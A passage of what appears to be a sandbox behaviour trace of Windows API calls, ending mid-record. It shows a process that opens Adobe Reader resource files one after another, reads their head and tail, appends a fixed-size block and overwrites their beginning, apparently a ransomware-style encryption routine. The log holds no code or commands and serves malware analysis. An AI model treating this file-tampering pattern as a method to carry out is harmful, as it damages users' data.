0x0 [0045.869] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.869] ReleaseMutex (hMutex=0x128) returned 1 [0045.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prt32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prt32.clx", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prt32.clx", lpUsedDefaultChar=0x0) returned 9 [0045.870] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0045.881] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x6fec [0045.881] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0045.889] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x6fec [0045.889] WriteFile (in: hFile=0x1ac, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.890] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0045.890] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.890] CloseHandle (hObject=0x1ac) returned 1 [0045.890] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\sgr.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\sgr.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.890] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.890] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x59c [0045.890] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.890] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.890] ReleaseMutex (hMutex=0x128) returned 1 [0045.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sgr.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sgr.fca", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sgr.fca", lpUsedDefaultChar=0x0) returned 7 [0045.891] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x59c, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x32cf2bc*=0x59c, lpOverlapped=0x0) returned 1 [0045.900] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0045.900] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0xb24, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf2d0*=0xb24, lpOverlapped=0x0) returned 1 [0045.900] CloseHandle (hObject=0x1ac) returned 1 [0045.900] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slv137.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slv137.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.901] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.901] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x51800 [0045.901] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.901] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.901] ReleaseMutex (hMutex=0x128) returned 1 [0045.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slv137.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slv137.lex", cchWideChar=10, lpMultiByteStr=0x1e6306c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slv137.lex", lpUsedDefaultChar=0x0) returned 10 [0045.901] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0045.908] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x50800 [0045.908] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0045.927] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x50800 [0045.927] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.927] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0045.928] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0045.928] CloseHandle (hObject=0x1ac) returned 1 [0045.928] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\swd32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\swd32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.928] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.928] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x8000 [0045.928] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.928] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.928] ReleaseMutex (hMutex=0x128) returned 1 [0045.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="swd32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="swd32.clx", cchWideChar=9, lpMultiByteStr=0x1e6342c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="swd32.clx", lpUsedDefaultChar=0x0) returned 9 [0045.929] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.177] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7000 [0046.177] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.198] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7000 [0046.199] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.199] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0046.199] WriteFile (in: hFile=0x1ac, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.199] CloseHandle (hObject=0x1ac) returned 1 [0046.199] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\usa37.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\usa37.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.203] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.203] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x15800 [0046.203] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.203] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.203] ReleaseMutex (hMutex=0x128) returned 1 [0046.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="usa37.hyp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="usa37.hyp", cchWideChar=9, lpMultiByteStr=0x1e6326c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="usa37.hyp", lpUsedDefaultChar=0x0) returned 9 [0046.203] ReadFile (in: hFile=0x1ac, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0046.211] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x14800 [0046.211] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.218] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x14800 [0046.218] WriteFile (in: hFile=0x1ac, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.218] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0046.218] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0046.219] CloseHandle (hObject=0x1ac) returned 1 [0046.219] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ARABIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\arabic.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.219] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.219] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x5ce8 [0046.219] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.219] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.219] ReleaseMutex (hMutex=0x128) returned 1 [0046.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ARABIC.TXT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ARABIC.TXT", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ARABIC.TXT", lpUsedDefaultChar=0x0) returned 10 [0046.219] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.223] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x4ce8 [0046.223] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.234] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x4ce8 [0046.234] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0408*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0408*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.235] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0046.235] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.235] CloseHandle (hObject=0x1ac) returned 1 [0046.235] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.235] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.235] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x377c [0046.235] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.235] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.236] ReleaseMutex (hMutex=0x128) returned 1 [0046.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ICELAND.TXT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0046.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ICELAND.TXT", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ICELAND.TXT", lpUsedDefaultChar=0x0) returned 11 [0046.236] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.238] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x277c [0046.238] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.242] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x277c [0046.243] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.243] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0046.243] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.243] CloseHandle (hObject=0x1ac) returned 1 [0046.243] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.243] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.243] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x251f [0046.243] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.243] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.243] ReleaseMutex (hMutex=0x128) returned 1 [0046.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1251.TXT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1251.TXT", cchWideChar=10, lpMultiByteStr=0x1e6324c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP1251.TXT", lpUsedDefaultChar=0x0) returned 10 [0046.244] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.250] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x151f [0046.250] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.267] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x151f [0046.267] WriteFile (in: hFile=0x1ac, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.267] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0046.268] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.268] CloseHandle (hObject=0x1ac) returned 1 [0046.268] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP936.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp936.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.268] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.268] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, 